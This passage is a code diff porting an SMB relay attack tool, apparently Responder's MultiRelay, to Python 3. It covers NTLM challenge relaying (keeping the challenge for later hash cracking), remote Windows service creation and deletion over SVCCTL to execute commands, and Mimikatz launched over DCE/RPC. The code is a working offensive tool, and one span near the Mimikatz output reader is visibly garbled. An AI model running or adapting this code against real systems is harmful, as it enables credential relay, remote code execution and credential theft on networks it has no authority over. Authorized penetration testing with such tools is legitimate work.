smbdata = s.recv(4096) + ##Session Setup AndX Request, NTLMSSP_NEGOTIATE to our target. + if smbdata[8:10] == b'\x72\x00': + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") + t = data[36:].decode('latin-1') #simply grab the whole packet except the smb header from the client. + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + smbdata = s.recv(4096) + challenge = ExtractSMBChallenge(smbdata, Pivoting)#Grab the challenge, in case we want to crack the hash later. + return data, smbdata, s, challenge def SendChallengeToClient(data, smbdata, conn): - ##Relay all that to our client. - if data[8:10] == "\x73\x00": - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) - t = smbdata[36:]#simply grab the whole packet except the smb header from the client. - packet0 = str(head)+str(t) - buffer0 = longueur(packet0)+packet0 - conn.send(buffer0) - data = conn.recv(4096) - return data, conn + ##Relay all that to our client. + if data[8:10] == b'\x73\x00': + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + t = smbdata[36:]#simply grab the whole packet except the smb header from the client. + packet0 = str(head)+str(t) + buffer0 = longueur(packet0)+packet0 + conn.send(NetworkSendBufferPython2or3(buffer0)) + data = conn.recv(4096) + return data, conn -##This function is one of the main SMB read function. We request all the time 65520 bytes to the server. +##This function is one of the main SMB read function. We request all the time 65520 bytes to the server. #Add (+32 (SMBHeader) +4 Netbios Session Header + 27 for the ReadAndx structure) +63 and you end up with 65583. #set the socket to non-blocking then grab all data, if our target has less than 65520 (last packet) grab the incoming #data until we reach our custom timeout. Set back the socket to blocking and return the data. @@ -438,7 +468,7 @@ def SMBReadRecv(s): try: data = s.recv(65583) if data: - Completedata.append(data) + Completedata.append(data.decode('latin-1')) Start=time.time() else: break @@ -448,51 +478,59 @@ def SMBReadRecv(s): s.setblocking(1) return s, ''.join(Completedata) -##We send our ReadAndX request with our offset and call SMBReadRecv +##We send our ReadAndX request with our offset and call SMBReadRecv def ReadOutput(DataOffset, f, data, s): - head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") - t = ReadRequestAndX(FID=f, Offset = DataOffset) - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - s, data = SMBReadRecv(s) - return data, s, ExtractCommandOutput(data) + if isinstance(data, str): + data = data.encode('latin-1') + head = SMBHeader(cmd="\x2e",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00") + t = ReadRequestAndX(FID=f.decode('latin-1'), Offset = DataOffset) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + s, data = SMBReadRecv(s) + return data, s, ExtractCommandOutput(data) -##We send our WriteAndX request with our offset. +##We send our WriteAndX request with our offset. def WriteOutput(DataOffset, Chunk, data, f, s): - head = SMBHeader(cmd="\x2f", flag1="\x18", flag2="\x07\xc8", uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") - t = SMBWriteData(FID=f, Offset = DataOffset, Data= Chunk) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) - ##LockingAndX //should not happens since we didn't request an oplock, but just in case.. - if data[8:10] == "\x24\x00": - head = SMBHeader(cmd="\x24", flag1="\x88", flag2="\x07\xc8", uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + head = SMBHeader(cmd="\x2f", flag1="\x18", flag2="\x07\xc8", uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00") + t = SMBWriteData(FID=f.decode('latin-1'), Offset = DataOffset, Data= Chunk) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) + ##LockingAndX //should not happens since we didn't request an oplock, but just in case.. + if data[8:10] == b"\x24\x00": + head = SMBHeader(cmd="\x24", flag1="\x88", flag2="\x07\xc8", uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00") t = SMBLockingAndXResponse() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - return data, s + s.send(NetworkSendBufferPython2or3(buffer1)) + return data, s -##When used this function will inject an OpenAndX file not found SMB Header into an incoming packet. +##When used this function will inject an OpenAndX file not found SMB Header into an incoming packet. ##This is usefull for us when an operation fail. We land back to our shell send right away a ##Tree Connect IPC$ and start to send SMB echos so we don't loose this precious connection. def ModifySMBRetCode(data): - modified = list(data) - modified[8:10] = "\x2d\x34" - return ''.join(modified) + if isinstance(data, str): + modified = list(data) + modified[8:10] = str("\x2d\x34") + return ''.join(modified) + else: + data = data.decode('latin-1') + modified = list(data) + modified[8:10] = str("\x2d\x34") + return ''.join(modified) ##We send our ReadAndX request with our offset and call recv() def SMBDCERPCReadOutput(DataOffset, length,f, data, s): - head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") - t = SMBDCERPCReadRequestAndX(FID=f, MaxCountLow=length, MinCount=length,Offset = DataOffset) - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(8092) - return data, s, ExtractRPCCommandOutput(data) + head = SMBHeader(cmd="\x2e",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00") + t = SMBDCERPCReadRequestAndX(FID=f.decode('latin-1'), MaxCountLow=length, MinCount=length,Offset = DataOffset) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(8092) + return data, s, ExtractRPCCommandOutput(data) ### #BindCall @@ -500,330 +538,332 @@ def SMBDCERPCReadOutput(DataOffset, length,f, data, s): def BindCall(UID, Version, File, data, s): Data = data - head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBNTCreateDataSVCCTL(FileName=File) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) + if isinstance(data, str): + data.encode('latin-1') ## Fail Handling. - if data[8:10] == "\xa2\x22": - print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n" + if data[8:10] == b"\xa2\x22": + print("[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n") return ModifySMBRetCode(data) ## Fail Handling. - if data[8:10]== "\xa2\xac":##Pipe is sleeping. + if data[8:10]== b"\xa2\xac":##Pipe is sleeping. f = "PipeNotAvailable" return Data, s, f ## Fail Handling. - if data[8:10]== "\xa2\x34":##Pipe is not enabled. + if data[8:10]== b"\xa2\x34":##Pipe is not enabled. f = "ServiceNotFound" return Data, s, f ## DCE/RPC Write. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\xa2\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) x = SMBDCEData(CTX0UID=UID, CTX0UIDVersion=Version) x.calculate() f = data[42:44] - t = SMBDCERPCWriteData(FID=f,Data=x) + t = SMBDCERPCWriteData(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC Read. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f,MaxCountLow="\x00\x04", MinCount="\x00\x04",Offset="\x00\x00\x00\x00") - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - return data, s, f + if data[8:10] == b"\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) + t = SMBReadData(FID=f.decode('latin-1'),MaxCountLow="\x00\x04", MinCount="\x00\x04",Offset="\x00\x00\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) + return data, s, f ########################### #Launch A Mimikatz CMD ########################### def MimiKatzRPC(Command, f, host, data, s): - ## DCE/RPC MimiKatzRPC. - ## DCE/RPC Write. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - w = SMBDCEMimiKatzRPCCommand(CMD=Command) - w.calculate() - x = SMBDCEPacketData(Data=w, Opnum="\x03\x00") - x.calculate() - t = SMBDCERPCWriteData(FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) + ## DCE/RPC MimiKatzRPC. + ## DCE/RPC Write. + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) + w = SMBDCEMimiKatzRPCCommand(CMD=Command) + w.calculate() + x = SMBDCEPacketData(Data=w, Opnum="\x03\x00") + x.calculate() + t = SMBDCERPCWriteData(FID=f.decode('latin-1'),Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) - ## DCE/RPC Read. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f,MaxCountLow=struct.pack('60: - minutes = Seconds/60 - print 'Fetched in: %.3g minutes.'%(minutes) - if Seconds<60: - print 'Fetched in: %.3g seconds'%(Seconds) - print "Output:\n", Output - return data,s,f + if data[64:66] == b"\x05\x00" and data[67] == b"\x03":##First and Last DCE/RPCFrag + data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("60: + minutes = Seconds/60 + print('Fetched in: %.3g minutes.'%(minutes)) + if Seconds<60: + print('Fetched in: %.3g seconds'%(Seconds)) + print("Output:\n", Output) + return data,s,f ###################################### #Launch And Create a MimiKatz Service ###################################### def CreateMimikatzService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): ## DCE/RPC SVCCTLOpenManagerW. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) w.calculate() x = SMBDCEPacketData(Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##Error handling. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + if data[8:10] == b"\x2e\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n") return ModifySMBRetCode(data) ## DCE/RPC Create Service. - if data[8:10] == "\x25\x00": - ContextHandler = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x25\x00": + ContextHandler = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) w.calculate() x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) #print "[+] Creating service" ## DCE/RPC SVCCTLOpenService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to create the service\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to create the service\n") return ModifySMBRetCode(data) - ContextHandlerService = data[88:108] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandlerService = data[88:108].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) w.calculate() x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLStartService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open the service.\n") return ModifySMBRetCode(data) - ContextHandler = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandler = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLQueryService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to start the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to start the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLCloseService - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to query the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to query the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - return data, s, f + return data, s, f ########################### #Stop And Delete A Service ########################### def StopAndDeleteService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): ## DCE/RPC SVCCTLOpenManagerW. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) w.calculate() x = SMBDCEPacketData(Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##Error handling. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + if data[8:10] == b"\x2e\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n") return ModifySMBRetCode(data) ## DCE/RPC SVCCTLOpenService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to create the service\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to create the service\n") return ModifySMBRetCode(data) - ContextHandlerService = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandlerService = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandlerService,ServiceName=ServiceNameChars) w.calculate() x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLControlService, stop operation. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open the service.\n") return ModifySMBRetCode(data) - ContextHandlerService = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandlerService = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService, ControlOperation="\x01\x00\x00\x00") x = SMBDCEPacketData(Opnum="\x01\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLDeleteService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to stop the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to stop the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x02\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLCloseService - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to delete the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to delete the service.\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - return data, s, f + return data, s, f ########################### @@ -831,143 +871,143 @@ def StopAndDeleteService(Command, ServiceNameChars, ServiceIDChars, f, host, dat ########################### def CreateService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): ## DCE/RPC SVCCTLOpenManagerW. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) w.calculate() x = SMBDCEPacketData(Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##Error handling. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + if data[8:10] == b"\x2e\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n") return ModifySMBRetCode(data) ## DCE/RPC Create Service. - if data[8:10] == "\x25\x00": - ContextHandler = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x25\x00": + ContextHandler = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) w.calculate() x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) #print "[+] Creating service" ## DCE/RPC SVCCTLOpenService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to create the service\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to create the service\n") return ModifySMBRetCode(data) - ContextHandlerService = data[88:108] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandlerService = data[88:108].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) w.calculate() x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLStartService. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open the service.\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open the service.\n") return ModifySMBRetCode(data) - ContextHandler = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandler = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC SVCCTLQueryService. - if data[8:10] == "\x25\x00": - if 